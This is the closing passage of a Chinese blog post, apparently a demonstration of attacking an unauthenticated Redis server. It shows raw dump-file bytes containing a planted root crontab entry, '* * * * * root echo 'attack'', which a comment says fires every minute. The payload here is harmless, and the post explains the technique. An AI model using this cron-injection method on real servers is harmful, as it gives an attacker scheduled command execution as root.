  17. ages(-2name_4value_45name_1value_18name_3value_31name_2value_28name_3value_33name_0value_02name_0value_01name_3value_37namesyunyun4ÿname_1value_17name_0value_04name_1value_10name_1value_19name_0value_03ninfo77-name29namyunjisuan08name_0value_05name_3value_34
  18. agelocation
  19. beijingÿname_4value_40name_0value_06name_0value_07name_1value_13name_2value_25name_4value_41name_3value_38name_3value_36name_2value_20name_4value_42name_4value_48name_1value_15name_4value_46name_0value_09name_1value_11name_3value_35name_1value_16name_4value_47name_2value_27name_4value_43
  20. name_{linevalue_50NAMEtestname_5value_50name_2value_22name_2value_24name_3value_32name_3value_30name_4value_44attack!
  21. * * * * * root echo 'attack' #这里出现了这条定时任务,这条任务每分钟都会被触发
  22. name_4value_49name_3value_39name_1value_14name_2value_23namebenetname_1value_12name_2value_26ÿz`³F您在 /var/spool/mail/root 中有新邮件
  23. [root@Redis01 ~]# XshellXshellXshellXshellXshell

然后你的redis服务器就会被攻击了。

posted @ 2021-09-23 21:09  你好我叫阿成  阅读(148)  评论(0)    收藏  举报